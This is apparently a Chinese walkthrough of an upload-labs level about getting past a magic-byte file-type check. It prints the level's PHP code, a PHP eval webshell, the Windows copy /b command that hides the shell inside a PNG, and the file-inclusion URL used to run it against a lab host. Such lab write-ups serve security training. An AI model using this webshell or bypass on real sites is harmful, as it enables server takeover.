function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
这一关会读取判断上传文件的前两个字节,判断上传文件类型,并且后端会根据判断得到的文件类型重命名上传文件
使用 图片马 + 文件包含 绕过
补充知识:
1.Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG。
2.Jpg图片文件包括2字节:FF D8。
3.Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。
4.Bmp图片文件包括2字节:42 4D。即为 BM。
这里涉及一个16进制的文件查看,需要
安装vscode插件 HEX Editor
这里就可以看到 png文件头 13780
case 13780:
$fileType = 'png';
jpg文件头 255216
case 255216:
$fileType = 'jpg';
为什么通过木马图加文件包含可以绕过??
演示:
在服务器写一个1.txt文件 内容为phpinfo
通过 http://192.168.31.33/upload-labs-master/include.php?file=upload/1.txt
txt一样 可以直接解析成功
这其实是存在文件 include.php 包含漏洞
那么我们可以通过 图片+木马 的方式 染过检测机制
随便弄个png文件 微信截图之类的 加上木马shell.php 生成webshell.jpg
<?php
@eval($_POST[q]);
?>
copy icon.png/b+shell.php/a webshell.png # 需要注意不要有多余空格否则后面的操作不行
在Windows命令行中,/b和/a是copy命令的两个选项。
/b选项表示以二进制模式复制文件。当你使用/b选项时,copy命令将以二进制方式复制文件,不进行任何额外的修改或转换。这对于复制二进制文件(如图片、视频、音频文件)非常有用,以确保文件内容的完整性。/a选项表示复制文件时将其作为ASCII文本处理。这种处理方式通常会引发一些转换操作,比如将换行符转换成CRLF格式等。这在某些情况下可能是需要的,但对于二进制文件可能会导致损坏。
在命令中,copy upload13.png/b+2.php/a webshell.png表示将icon.png和shell.php两个文件以二进制模式和ASCII模式分别进行复制,并将它们合并为一个名为webshell.png的文件
上传 webshell.png
http://192.168.31.33/upload-labs-master/include.php?file=upload/9720230630223050.png